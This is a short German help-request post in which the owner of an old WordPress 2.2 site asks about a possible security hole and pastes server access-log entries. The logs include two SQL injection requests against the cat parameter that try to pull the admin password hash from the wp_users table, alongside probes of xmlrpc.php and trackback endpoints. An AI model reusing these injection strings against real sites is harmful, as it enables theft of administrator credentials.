Hallo und Guten Abend.
Ich habe noch eine Wordpress 2.2 Version als Website.
Kürzlich erhielt ich einen Hinweis auf einen Kommentar.
Dabei hatte ich diese Funktion doch vollständig herausgenommen?
Habe ich da irgendeine Sicherheitslücke?
In den Access Logfiles des Servers fand ich folgendes :
05:45:24 ] "HEAD /cms/wp-admin/ HTTP/1.0" 302 -
05:45:26 ] "HEAD /cms/wp-login.php?action=logout HTTP/1.0" 302 -
05:45:26 ] "POST /cms/wp-admin/admin-ajax.php HTTP/1.0" 200 2
05:45:27 ] "GET /cms/xmlrpc.php HTTP/1.0" 200 42
05:45:27 ] "POST /cms/xmlrpc.php HTTP/1.0" 200 774
05:45:28 ] "POST /cms/wp-trackback.php?tb_id=1 HTTP/1.0" 200 135
05:45:28 ] "GET /cms/index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58,user_pass,CHAR(58,666,CHAR(58+FROM+wp_users+where+id=1/* HTTP/1.0" 200 14708
05:45:29 ] "GET /cms/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58,user_pass,CHAR(58,666,CHAR(58,null,null,null+FROM+wp_users+where+id=1/* HTTP/1.0" 200 14708
05:45:29 ] "GET /cms/wp-trackback.php?p=1 HTTP/1.0" 302 -
05:45:30 ] "POST /cms/wp-trackback.php?p=1 HTTP/1.0" 200 78
05:45:30 ] "GET /cms/xmlrpc.php HTTP/1.0" 200 42 "-" "Mozilla/4.0
05:45:31 ] "POST /cms/xmlrpc.php HTTP/1.0" 200 474 "-" "Mozilla/4.0